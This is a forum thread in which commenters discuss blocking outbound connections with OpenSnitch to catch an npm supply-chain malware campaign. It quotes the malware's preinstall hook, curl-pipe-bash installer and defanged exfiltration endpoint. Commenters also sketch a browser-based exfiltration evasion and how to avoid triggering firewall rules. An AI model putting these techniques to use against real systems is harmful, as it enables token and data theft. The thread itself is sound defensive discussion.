Comment by gus_

2 days ago

Personally I don't allow outbound connections from almost any app, except web browsers to port 80/443. So nodejs, pip, ruby, curl, wget, etc, opening unexpected outbound connections is a big red flag for me.

In some cases, maybe you need to allow permanently git to open outbound resquests to github.com (or gitlab, etc), but at least in my case, I'm okey allowing these connections manually.

> preinstall script: bun run index.js

> Dual exfiltration: > stolen data is committed as Git objects to public GitHub repositories (api.github.com) > and sent as RSA+AES encrypted HTTPS POSTs to hxxps://t.m-kosche[.]com/api/public/otel/v1/traces (disguised as OpenTelemetry traces)

> The Bun installer command (command -v bun >/dev/null 2>&1 || (curl -fsSL https://bun.sh/install | bash && export PATH=$HOME/.bun/bin:$PATH)) prepends every injected hook to guarantee Bun availability

> A separate gh-token-monitor daemon (decrypted from J7, deployed by class so) installs to ~/.local/bin/gh-token-monitor.sh with its own systemd service and LaunchAgent. It polls stolen GitHub tokens at 60-second intervals with a 24-hour TTL

This attack in particular would have caused OpenSnitch to go crazy, giving you the opportunity to review what's going on.

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gus_

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jcgl  1 day ago

> Personally I don't allow outbound connections from almost any app, except web browsers to port 80/443. So nodejs, pip, ruby, curl, wget, etc, opening unexpected outbound connections is a big red flag for me.

Yep, exactly. Reject by default, with reasonably judicious always-allow rules.

megous  1 day ago

1) write a well crafted exfil payload to mozilla or chrome directory (there are sqlite databases and files that store eg. indexeddb content) 2) trigger a tab open to attacker's website, website takes the exfil data from indexeddb and posts it to the server (have something inocuous looking on that website - like a fake npm homepage or whatever, so you don't close it fast enough)

from one step process, this will become universally usable two step process

  • gus_  17 hours ago

    absolutely. These attacks will evolve for sure, like the malware evolved on Microslop for years.

    But for the time being, the common entry vector is clear:

    https://github.com/evilsocket/opensnitch/discussions/1119

    > 2) trigger a tab open to attacker's website

    be sure not to use extra cli parameters like "firefox --new-tab <url>", because if the rule is filtering by process path + cmdline it'll trigger a pop-up to allow the outbound request.

  • jcgl  19 hours ago

    Damn, good call. Really reinforces the need for sandboxing.

    Still doesn’t negate the value of OpenSwitch, since the majority of malware won’t do that. But really good to keep in mind.